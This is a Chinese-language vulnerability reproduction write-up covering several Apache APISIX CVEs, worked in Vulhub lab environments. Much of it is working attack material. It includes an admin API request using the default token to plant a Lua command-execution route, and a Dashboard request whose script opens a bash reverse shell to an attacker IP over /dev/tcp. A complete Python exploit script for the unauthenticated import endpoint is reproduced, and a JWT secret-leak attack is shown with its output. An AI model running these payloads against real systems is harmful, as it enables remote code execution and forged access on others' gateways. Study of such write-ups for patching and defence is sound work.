Apache Apisix网关系统历史漏洞复现分析

news2024/11/29 10:53:55

文章目录

  • 前言
  • CVE-2020-13945默认api令牌
  • CVE-2021-45232未授权接口
    • 2.1 默认账户密码导致RCE
    • 2.2 未授权访问api接口RCE
  • CVE-2022-24112 地址限制绕过
  • CVE-2022-29266 JWT令牌伪造
    • 4.1 漏洞源码简析与修复
    • 4.2 漏洞环境搭建与复现
  • 总结

前言

Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。

  1. 开源项目地址:https://github.com/apache/apisix;
  2. 官方文档地址:https://apisix.apache.org/zh/docs/apisix/getting-started/README/;

你可以把 Apache APISIX 当做流量入口,来处理所有的业务数据,包括动态路由、动态上游、动态证书、金丝雀发布(灰度发布)、限流限速、抵御恶意攻击、监控报警、服务可观测性、服务治理等。
imagepng
Fofa 搜索语法:

title="Apache APISIX"

渗透测试基本信息:

APISIX 系统默认端口默认凭据或口令
Apache APISIX9080edd1c9f034335f136f87ad84b625c8f1
Apache APISIX Dashboard9000admin/admin

官方推荐的快速安装 APISIX:

curl -sL https://run.api7.ai/apisix/quickstart | sh
# 验证安装是否成功
curl "http://127.0.0.1:9080" --head | grep Server

imagepng
imagepng
【创建路由】

通过下面的命令,你将创建一个路由,把请求 http://127.0.0.1:9080/ip 转发至 httpbin.org/ip:

root@ubuntu:~/Desktop$ curl -i "http://127.0.0.1:9180/apisix/admin/routes" -X PUT -d '
{
  "id": "getting-started-ip",
  "uri": "/ip",
  "upstream": {
    "type": "roundrobin",
    "nodes": {
      "httpbin.org:80": 1
    }
  }
}'
HTTP/1.1 201 Created
Date: Sun, 18 Feb 2024 01:45:48 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/3.8.0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 3600
X-API-VERSION: v3

{"key":"/apisix/routes/getting-started-ip","value":{"upstream":{"scheme":"http","nodes":{"httpbin.org:80":1},"type":"roundrobin","pass_host":"pass","hash_on":"vars"},"id":"getting-started-ip","priority":0,"update_time":1708220748,"uri":"/ip","status":1,"create_time":1708220748}}
root@ubuntu:~/Desktop$ 
root@ubuntu:~/Desktop$ curl "http://127.0.0.1:9080/ip"
{
  "origin": "XXX.XXX.XXX.21"
}
root@ubuntu:~/Desktop$ 

【部署 APISIX Dashboard】

Apache APISIX Dashboard 是基于浏览器的可视化平台,用于监控、管理 Apache APISIX。官方项目地址:https://github.com/apache/apisix-dashboard。

docker pull apache/apisix-dashboard
docker run -d --name dashboard \
           -p 9000:9000        \
           -v <CONFIG_FILE>:/usr/local/apisix-dashboard/conf/conf.yaml \
           apache/apisix-dashboard

此处安装失败,原因不详,从 docker 日志看是由于错误无法连接 2379 的 etcd 服务。

CVE-2020-13945默认api令牌

Apache APISIX 是一个高性能 API 网关。在用户未指定管理员 Token 或使用了默认配置文件的情况下,Apache APISIX 将使用默认的管理员 Token:edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个 Token 可以访问到管理员接口,进而通过 script 参数来插入任意 LUA 脚本并执行。

该默认令牌配置文件位于:https://github.com/apache/apisix/blob/master/conf/config.yaml, 这是一个默认配置导致的安全问题,实际上从官方文档也可以看出官方并不会修复该 CVE 漏洞,而是给出了安全提醒:
imagepng
【环境搭建】

基于 Vulhub 快速搭建靶场环境(https://vulhub.org/#/environments/apisix/CVE-2020-13945/):
imagepng
环境启动后,访问 http://your-ip:9080 即可查看到默认的 404 页面。
imagepng
【漏洞复现】

利用默认 Token 增加一个恶意的 router( 该 API 接口详细参数请参见官方文档:Admin API | Apache APISIX),其中包含恶意 LUA 脚本:

POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
    "uri": "/attack",
    "script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

imagepng
然后,我们访问刚才添加的 router,就可以通过 cmd 参数执行任意命令:http://your-ip:9080/attack?cmd=id
imagepng
imagepng
【其他管理接口】

Admin API (https://apisix.apache.org/zh/docs/apisix/admin-api)是一组用于配置 Apache APISIX 路由、上游、服务、SSL 证书等功能的 RESTful API。你可以通过 Admin API 来获取、创建、更新以及删除资源。同时得益于 APISIX 的热加载能力,资源配置完成后 APISIX 将会自动更新配置,无需重启服务。

以“获取资源列表”的接口 /apisix/admin/consumers 为例:
imagepng
imagepng

CVE-2021-45232未授权接口

Apache APISIX Dashboard 是基于浏览器的可视化平台,用于监控、管理 Apache APISIX。Apache APISIX Dashboard 2.10.1 版本前存在两个 API:/apisix/admin/migrate/export/apisix/admin/migrate/import,它们没有经过 droplet 框架的权限验证,导致未授权的攻击者可以导出、导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让 Apache APISIX 访问任意网站,甚至执行 LUA 脚本。

继续使用 Vulhub 一键搭建靶场环境:
imagepng
然后访问 http://your-ip:9000/ 即可看到 Apache APISIX Dashboard 的登录页面:
imagepng

2.1 默认账户密码导致RCE

官方默认登录账户密码 admin/admin(Vulhub 镜像的密码为 vulhub):
imagepng
其实实战中如果没有敏感接口的未授权访问漏洞的话,是可以通过弱密码登录后台进行 RCE 的,接下来先看看进入后台后如何完成 RCE。

1、 先创建任意名称的上游服务,请注意目标节点信息后面触发 RCE 会用到:
imagepng
2、 接着创建路由,把选择上游服务选择为上面的创造的上游:
imagepng
3、访问上述创建的路由,通过“查看”修改配置,添加反弹 Shell 的 Lua Script:
imagepng
imagepng
提交修改请求(API 接口参数释义请参见:https://apisix.apache.org/zh/docs/apisix/admin-api/#route),数据包如下:

PUT /apisix/admin/routes/501155186035655361 HTTP/1.1
Host: XXX.XXX.XXX.16:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://XXX.XXX.XXX.16:9000/routes/list
Content-Type: application/json;charset=UTF-8
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDgyNDMyNjIsImlhdCI6MTcwODIzOTY2Miwic3ViIjoiYWRtaW4ifQ.BkV5VDZkMubP56Uutpn0CXQwx2oJUumjH7HgpvlpBdo
Content-Length: 227
Origin: http://XXX.XXX.XXX.16:9000
Connection: close

{"uri":"/*","name":"rce","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('/bin/bash -i >& /dev/tcp/XXX.XXX.XXX.50/6666 0>&1')","upstream_id":"501154557745693377","status":1}

4、接着访问:http://127.0.0.1:9080/rce,即可触发命令执行实现 RCE:
imagepng
imagepng
【More】创建路由时并非强制选择上游服务,故上述创建上游服务的步骤也可以直接忽略,直接创建路由并指定一个有效的目标节点(主机名+有效业务端口)接口,比如:
imagepng

2.2 未授权访问api接口RCE

此漏洞的鉴权缺陷源码分析可参见:https://xz.aliyun.com/t/10732。

那如果没有默认密码或者弱密码的话,这时我们就利用未授权接口进行 RCE 了。这里我们需要知道这两个接口一个是用来导出配置文件,一个是用来导入配置文件的。

我们可以使用 /apisix/admin/migrate/export 直接导出配置文件,删除 Authorization 字段后发现是可以正常未授权访问的:
imagepng
接下来利用另一个接口导入恶意配置即可实现 RCE,但是从上面导出的配置数据可以看到,后面多出四个字节,这 4 个字节其实是配置文件的 checksum 值,在导入配置文件时,也会对配置文件的 checksum 值进行校验,那这里需要阅读 APISIX 源码并编写脚本算出 checksum 校验值。

简单起见,直接利用 Github 现成的 POC 验证程序即可:https://github.com/wuppp/cve-2021-45232-exp/blob/main/apisix_dashboard_rce.py

#!/usr/bin/env python3
import zlib
import json
import random
import requests
import string
import sys
from urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


eval_config = {
    "Counsumers": [],
    "Routes": [
        {
            "id": str(random.randint(100000000000000000, 1000000000000000000)),
            "create_time": 1640674554,
            "update_time": 1640677637,
            "uris": [
                "/rce"
            ],
            "name": "rce",
            "methods": [
                "GET",
                "POST",
                "PUT",
                "DELETE",
                "PATCH",
                "HEAD",
                "OPTIONS",
                "CONNECT",
                "TRACE"
            ],
            "script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
            "status": 1
        }
    ],
    "Services": [],
    "SSLs": [],
    "Upstreams": [],
    "Scripts": [],
    "GlobalPlugins": [],
    "PluginConfigs": []
}


def random_str():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=6))


def calc_crc(data):
    crc32 = zlib.crc32(data) & 0xffffffff
    return crc32.to_bytes(4, byteorder="big")


def export_data(url):
    r = requests.get(url + "/apisix/admin/migrate/export", verify=False)
    return r.text[:-4]


def import_data(url, data):
    data = json.dumps(data).encode()
    crc32 = calc_crc(data)

    files = {"file": ("data", data + crc32, "text/data")}
    resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False)
    # print(resp.text)
    if resp.json().get("code", -1) == 0:
        return True
    else:
        return False


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("python " + sys.argv[0] + " http://127.0.0.1:9000")
        exit()

    url = sys.argv[1]
    if url.endswith("/"):
        url = url[:-1]

    uri = random_str()
    eval_config["Routes"][0]["uris"] = [ "/" + uri]
    eval_config["Routes"][0]["name"] = uri

    if import_data(url, eval_config):
        print("attack success")
        print("uri is: " + "/" + uri)
    else:
        print("attack error")

脚本攻击效果演示如下(注意执行命令时应更换为 9080 端口):
imagepng
回到 Dashboard 管理台即可发现上述脚本创建了一个恶意路由:
imagepng

CVE-2022-24112 地址限制绕过

官方发布的漏洞信息:https://apisix.apache.org/zh/blog/2022/02/11/cve-2022-24112/。
imagepng
此漏洞相对比较鸡肋,主要是用于绕过 IP 地址访问限制,漏洞利用条件是目标系统使用了默认的 Admin Key(即 CVE-2020-13945 中的 X-API-KEY),此处暂不复现。

参考文章:

  1. CVE-2022-24112 Apache APISIX 远程代码执行漏洞;
  2. CVE-2022-24112:Apache APISIX 命令执行漏洞 - 华盟学院;
  3. https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py;

CVE-2022-29266 JWT令牌伪造

在 Apache APISIX < 2.13.1 版本之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,攻击者可以通过向受 jwt-auth 插件保护的路由发送不正确的 JSON Web 令牌并通过错误消息响应获取插件配置的 JWT Secret,进而伪造有效的 JWT 会话凭证来非法访问 API 接口。

漏洞分析参考文章:《APISIX CVE-2022-29266 漏洞分析与复现 |TeamsSix》、《CVE-2022-29266 Apache Apisix jwt-auth插件 密钥泄漏》。

4.1 漏洞源码简析与修复

通过 Apache 官方提交的修复记录 https://github.com/apache/apisix/pull/6846/commits/bf296bbdad52055d9362958e9262c861a4b723ed 可以看到此漏洞的问题点:
imagepng
修改代码将 401 返回的附加信息 jwt_obj.reason 删除,变更为本地日志打印。可以在 lua-resty-jwt 库(https://github.com/SkyLothar/lua-resty-jwt)中找到 lib/resty/jwt.lua 文件,在 jwt.lua 文件的 782 行中,可以看到有个 jwt_obj.reason 中包含了 secret,这里代码的意思是说,如果程序执行正常就返回 secret 的值,否则就返回具体的异常信息。
imagepng
此处借用 TeamsSix 的分析总结,漏洞利用的前提有以下三个:

  • APISIX 需要开启 jwt-auth 插件;
  • jwt-auth 插件算法需要是 HS256 或者 HS512;
  • secret 的值中不能包含 CERTIFICATE 和 PUBLIC KEY 字符串;

如果满足了这三个前提,当我们利用 RS256 或者 RS512 的 JWT 值发送给 APISIX 的时候,我们就会得到 jwt-auth 中的 secret,从而实现 JWT 伪造了。

4.2 漏洞环境搭建与复现

漏洞复现沿用上文 CVE-2021-45232 的 Vulhub 靶场环境即可,APISIX 版本为 2.9,符合漏洞条件。
imagepng

此漏洞涉及 JWT 令牌的相关知识,不熟悉 JWT 基础安全知识的话请参见《Web安全-JWT认证机制安全性浅析》,关于 JWT 密钥泄露的类似 CVE 漏洞也可参见《Nacos系统历史CVE漏洞的复现分析与检测》中的“QVD-2023-6271默认密钥”章节。

一键搭建完 Vulhub 的漏洞环境后,进入 dashboard 创建消费者,启用 jwt-auth 认证机制:

Consumer(也称之为消费者)是指使用 API 的应用或开发人员。在 APISIX 中,消费者需要一个全局唯一的 名称,并从上面的列表中选择一个身份验证 插件

imagepng
imagepng
{ "key": "tr0e", "secret": "passwd123456789" } 填写到编辑器里,值的话可以随便写,算法的默认配置是 HS256 。
imagepng
创建完消费者 tr0e 以后,开始创建路由:
imagepng
imagepng
同样需要启用 jwt-auth 插件:
imagepng
imagepng
提交并完成路由配置:
imagepng
【验证 JWT 插件】

从官方指导文档:https://apisix.apache.org/zh/docs/apisix/plugins/jwt-auth/ 可了解到,启用了 jwt-auth 插件后,会增加 /apisix/plugin/jwt/sign 这个接口。在命令行输入以下命令,参数 key 的值就是刚刚在创建 consumer 时配置的 key 值,通过访问这个 api 即可获取到 JWT 认证凭据:
imagepng
携带获得的 JWT 凭据发起对应配置的 /tr0e666 路由的请求,未返回 401 即代表鉴权成功:
imagepng
将此接口返回的 JWT 凭证作下解码可以看到 Payload 信息,其中 exp 是 JWT 的有效时间限制:
imagepng
【漏洞复现】

JSON Web Tokens 网站 https://jwt.io/#debugger-io 可以帮助我们快速构建 JWT 凭据。

需要一个 RS256 算法的 JWT 值,这里为了方便直接在 jwt.io 中生成,只需要将算法改为 RS256,Payload 改为以下内容即可,注意 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致。

{"key": "tr0e"}

imagepng
然后将上面拿到的 JWT 凭据发起访问受保护的路由的请求:

root@ubuntu:~/vulhub/apisix/CVE-2021-45232# 
root@ubuntu:~/vulhub/apisix/CVE-2021-45232# curl http://127.0.0.1:9080/tr0e666 -H 'Authorization:eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0cjBlIn0.tyNfKjLKYV860j-OQZGS0RkJFpKDsc-zEtbIklYlKrNYgkaqJmEISXNBT5jI_c6_rKl-1KLPT7cWe0X7LOdeyOR0C4F_q6Mrjznd0cxbEl5arIe-ViGOjOklcXUFMh9K-1x3DL2R60Em9MmpTOQvcbz9-Weh2h4dRHdYSej7bvHaGVXUK_8fJFXSgrn2alTnlndsRPdN9fZnkKz7rRKCCEO7skM0q7Wnho2sCWttCrTpZc6wNejj41oU3GKHmVF4bcE-WYKcf4PkTDa72ZE6-3x5xtK2s18hKzByhEb_Nwp44V6IMqKOj4dhuYlAQjvKaM5nqY6aZXr3xPi187fLDg' -i
HTTP/1.1 401 Unauthorized
Date: Sun, 18 Feb 2024 12:39:29 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/2.9

{"message":"Decode secret is not a valid cert\/public key: passwd123456789"}
root@ubuntu:~/vulhub/apisix/CVE-2021-45232# 

imagepng
此时拿到 JWT 的 Secret(即 passwd123456789)后,即可自行颁发有效的 JWT:
imagepng
拿着自生成的 JWT 凭证成功访问受保护的路由:
image.png

总结

Apache APISIX 作为一个动态、实时、高性能的云原生 API 网关,提供了负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。本文总计、复现可 Apache APISIX 网关系统的几个历史 CVE 漏洞。

Apache APISIX 被广泛应用于各大企业的云服务业务,因而也成为各类攻防演练的关注对象。作为运维人员或开发人员,应当及时更新 APISIX 的版本,避免系统因未及时覆盖安全补丁导致系统被入侵。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1455761.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

探索Linux系统中HTTP隧道技术的原理与实践

在Linux的世界里&#xff0c;HTTP隧道技术就像是一个神秘的魔法师&#xff0c;它能让你的网络请求穿越重重障碍&#xff0c;安全地到达目的地。今天&#xff0c;我们就来一起探索这个魔法师的奥秘&#xff0c;看看它是如何在Linux系统中施展魔法的。 首先&#xff0c;我们要明…

PFH特征描述符、对应关系可视化以及ICP配准

一、PFH特征描述符可视化 C #include <pcl/point_types.h> #include <pcl/point_cloud.h> #include <pcl/search/kdtree.h> #include <pcl/io/pcd_io.h> #include <pcl/features/normal_3d_omp.h>//使用OMP需要添加的头文件 #include <boos…

PyCharm - Project Interpreter (项目解释器)

PyCharm - Project Interpreter [项目解释器] References File -> Settings… -> Project: -> Project Interpreter References [1] Yongqiang Cheng, https://yongqiang.blog.csdn.net/

深入探讨Lambda表达式转换为委托类型的编译过程

了解了&#xff0c;如果要深入探讨Lambda表达式转换为委托类型的编译过程&#xff0c;我们需要关注C#编译器如何处理这个转换。这个过程涉及到编译时的类型推断、匿名方法的创建&#xff0c;以及生成对应的委托实例。我们来更详细地分析这个过程&#xff1a; 编译阶段 1. 解…

21. Merge Two Sorted Lists(合并两个有序链表)

问题描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 问题分析 我们只需要使用两个指针分别从两个链表的头部向后遍历整个链表&#xff0c;每一个次都让量个元素比较大小&#xff0c;小的元素并入的新的链表&#xf…

MySQL(1/3)

基本命令行操作 命令行连接 mysql -uroot -p 回车&#xff0c;然后在下一行输入密码&#xff0c;或者直接在p后写密码 修改密码 updata mysql.user set authentication_stringpassword(原密码) where userroot and Host localhost; 刷新权限 flush privileges; 查看所有数据库…

数据库索引面试的相关问题

查看索引的执行计划 索引失效的情况 1、索引列上做了计算&#xff0c;函数&#xff0c;类型转换等操作。索引失效是因为查询过程需要扫描整个索引并回表。代价高于直接全表扫描。 Like匹配使用了前缀匹配符“%abc” 字符串不加引号导致类型转换。 原因&#xff1a; 常见索…

03 SS之返回JSON+UserDetail接口+基于数据库实现RBAC

1. 返回JSON 为什么要返回JSON 前后端分离成为企业应用开发中的主流&#xff0c;前后端分离通过json进行交互&#xff0c;登录成功和失败后不用页面跳转&#xff0c;而是给前端返回一段JSON提示, 前端根据JSON提示构建页面. 需求: 对于登录的各种状态 , 给前端返回JSON数据 …

面向对象编程(三)

目录 1. 关键字&#xff1a;static 1.1 类属性、类方法的设计思想 1.2 static关键字 1.3 静态变量 1.3.1 语法格式 1.3.2 静态变量的特点 1.3.3 举例 1.3.4 内存解析 1.4 静态方法 1.4.1 语法格式 1.4.2 静态方法的特点 1.4.3 举例 2. 单例(Singleton)设计模式 2…

HarmonyOS router页面跳转

默认启动页面index.ets import router from ohos.router import {BusinessError} from ohos.baseEntry Component struct Index {State message: string Hello World;build() {Row() {Column() {Text(this.message).fontSize(50).fontWeight(FontWeight.Bold)//添加按钮&am…

简约火箭发射静态404错误页面源码

简约火箭发射静态404错误页面源码&#xff0c;源码由HTMLCSSJS组成,记事本打开源码文件可以进行内容文字之类的修改&#xff0c;双击html文件可以本地运行效果&#xff0c;也可以上传到服务器里面&#xff0c;重定向这个界面 蓝奏云下载&#xff1a;https://wfr.lanzout.com/iK…

烦人的鼠标唤醒电脑功能彻底禁用

1.常规操作禁用鼠标唤醒 搜索设备 电源管理取消勾选 这样操作后, 系统更新等各种原因, 又会失效, 需要反复操作, 很烦 2.关闭计算机管理的计划任务 禁用 3.查询唤醒原因 powercfg /waketimers powercfg /lastwake

多模态学习综述(MultiModal Learning)

最早开始关注到多模态机器学习是看到Jeff Dean在2019年年底NeurIPS大会上的一个采访报道&#xff0c;讲到了2020年机器学习趋势&#xff1a;多任务和多模态学习将成为突破口。 Jeff Dean 谈2020年机器学习趋势&#xff1a;多任务和多模式学习将成为突破口 站在2022年&#xff…

华为模拟器防火墙配置实验(四)

实验拓扑图 需求&#xff1a; 1&#xff0c;办公区设备可以通过电信链路和移动链路正常上网&#xff08;多对多的NAT&#xff0c;并且需要保存一个公网IP不能用来转换&#xff09; 2&#xff0c;分公司的设备可以通过总公司的移动链路和电信链路访问DMZ区域的http服务器 3&…

VSCODE上使用python_Django

接上篇 https://blog.csdn.net/weixin_44741835/article/details/136135996?csdn_share_tail%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22136135996%22%2C%22source%22%3A%22weixin_44741835%22%7D VSCODE官网&#xff1a; Editing Python …

python+django咖啡网上商城网站

全网站共设计首页、咖啡文化、咖啡商城、个人信息、联系我们5个栏目以及登录、注册界面&#xff0c;让用户能够全面的了解中国咖啡咖啡文化宣传网站以及一些咖啡知识、文化。 栏目一首页&#xff0c;主要放置咖啡的起源及发展进程的图文介绍&#xff1b;栏目二咖啡文化&#xf…

FPGA 高速接口(LVDS)

差分信号环路测试 1 概述 LVDS&#xff08;Low Voltage Differential Signalin&#xff09;是一种低振幅差分信号技术。它使用幅度非常低的信号&#xff08;约350mV&#xff09;通过一对差分PCB走线或平衡电缆传输数据。大部分高速数据传输中&#xff0c;都会用到LVDS传输。 …

多维时序 | Matlab实现基于VMD-DBO-LSTM、VMD-LSTM、LSTM的多变量时间序列预测

多维时序 | Matlab实现基于VMD-DBO-LSTM、VMD-LSTM、LSTM的多变量时间序列预测 目录 多维时序 | Matlab实现基于VMD-DBO-LSTM、VMD-LSTM、LSTM的多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 Matlab实现基于VMD-DBO-LSTM、VMD-LSTM、LSTM的多变量时间…

06 分频器设计

分频器简介 实现分频一般有两种方法&#xff0c;一种方法是直接使用 PLL 进行分频&#xff0c;比如在 FPGA 或者 ASIC 设计中&#xff0c;都可以直接使用 PLL 进行分频。但是这种分频有时候受限于 PLL 本身的特性&#xff0c;无法得到频率很低的时钟信号&#xff0c;比如输入 …

LeetCode 热题 100 Day01

哈希模块 哈希结构&#xff1a; 哈希结构&#xff0c;即hash table&#xff0c;哈希表|散列表结构。 图摘自《代码随想录》 哈希表本质上表示的元素和索引的一种映射关系。 若查找某个数组中第n个元素&#xff0c;有两种方法&#xff1a; 1.从头遍历&#xff0c;复杂度&#xf…